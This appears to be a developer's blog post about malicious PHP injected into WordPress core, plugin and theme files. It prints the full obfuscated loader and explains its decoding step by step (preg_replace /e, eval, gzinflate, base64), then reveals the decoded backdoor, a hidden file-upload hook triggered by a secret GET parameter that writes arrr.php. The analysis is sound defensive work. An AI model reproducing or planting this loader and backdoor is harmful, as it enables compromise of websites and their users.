I received word recently, that a site I have previously done work on, was getting some syntax errors. After checking those errors out, and seeing that certain files were giving the error Warning: Cannot modify header information – headers already sent by (/path/somefile.php) in /path/anotherfile.php, I determined the issue to be malicious PHP code that was being injected into WordPress core files, plugin files, and theme files. How it got there, I can’t be entirely certain, but my best guess is this vulnerability with Gravity Forms had something to do with it.
The code looked something like this:
<?php $JPyf4530 = ")nz.p*q4c2thgem8o7vfl1xy/ibar;(3k6u9j_d05sw";$BYTdA1808 = $JPyf4530[4].$JPyf4530[28].$JPyf4530[13].$JPyf4530[12].$JPyf4530[37].$JPyf4530[28].$JPyf4530[13].$JPyf4530[4].$JPyf4530[20].$JPyf4530[27].$JPyf4530[8].$JPyf4530[13];$xdTQes100 = "\x65".chr(118)."al".chr(40)."".chr(103)."".chr(122)."i".chr(110)."fl".chr(97)."".chr(116)."\x65\x28\x62".chr(97)."\x73".chr(101)."6".chr(52)."_\x64ec".chr(111)."de\x28";$TbQ6628 = "))\x29\x3b";$W1576 = $xdTQes100."'NctBC4IwGIDhv7Ii+ByV5cwKdrYIutVNZMz5DQdOh64oZP+9Ll4f3tfoyIwj+mglrvmzWDJ1wnPCsEq12rNjxpIEK5VV8oBZWrNkWVI6GU2iBVrnv//tcrvnjxlt/0bxcm0va6yFNi3ORQG6g7IAb53opEUoNxDv5DAMsWscUEomVE1PYAucBILtiLOsgYfA8WM8Dz8='".$TbQ6628;$BYTdA1808($JPyf4530[24].$JPyf4530[3].$JPyf4530[5].$JPyf4530[24].$JPyf4530[13], $W1576 ,"386"); ?>
Looks like a jumbled mess, right? Well it is, but it’s supposed to appear like a jumbled mess to anyone who might stumble across it in an attempt to intimidate you to just leave it alone. And even though it looks like a chaotic disaster, it does have functionality. Let’s break it down into a few pieces.
<?php $JPyf4530 = ")nz.p*q4c2thgem8o7vfl1xy/ibar;(3k6u9j_d05sw"; ?>
Basically, this is just a string. Or maybe it’s better to call it an alphabet. Other variables are making access of the characters in this string. For instance:
$BYTdA1808 = $JPyf4530[4].$JPyf4530[28].$JPyf4530[13].$JPyf4530[12].$JPyf4530[37].$JPyf4530[28].$JPyf4530[13].$JPyf4530[4].$JPyf4530[20].$JPyf4530[27].$JPyf4530[8].$JPyf4530[13];
Which translates to:
$BYTdA1808 = 'preg_replace';
Sneaky, eh? Some of the other variables are using ASCII codes to get the text they want but overall, it’s just a way of obscuring code. So we can take this idea, and apply it to the rest of this and come up with something like this:
$W1576 = "eval(gzinflate(base64_decode('NctBC4IwGIDhv7Ii+ByV5cwKdrYIutVNZMz5DQdOh64oZP+9Ll4f3tfoyIwj+mglrvmzWDJ1wnPCsEq12rNjxpIEK5VV8oBZWrNkWVI6GU2iBVrnv//tcrvnjxlt/0bxcm0va6yFNi3ORQG6g7IAb53opEUoNxDv5DAMsWscUEomVE1PYAucBILtiLOsgYfA8WM8Dz8=')));"; preg_replace('/.*/e', $W1576 ,"386");
That’s essentially what it all boils down to. But what’s with all that encoded nonsense? I ran a var_dump() on it and came back with this little piece of work:
if(isset($_GET["2c7e812eb3fc0265211ebc5ba4e53d21"])){ if (!empty($_FILES)){ if (!move_uploaded_file($_FILES['fn']['tmp_name'],'./arrr.php')) { echo '-'; } else { echo '+'; } }; exit; }
Like I said earlier , I think all of this was possible because of this vulnerability but I could very well be wrong. It would make sense though, as this hack is attempting to move some files around, and then echo success or failure (+/-).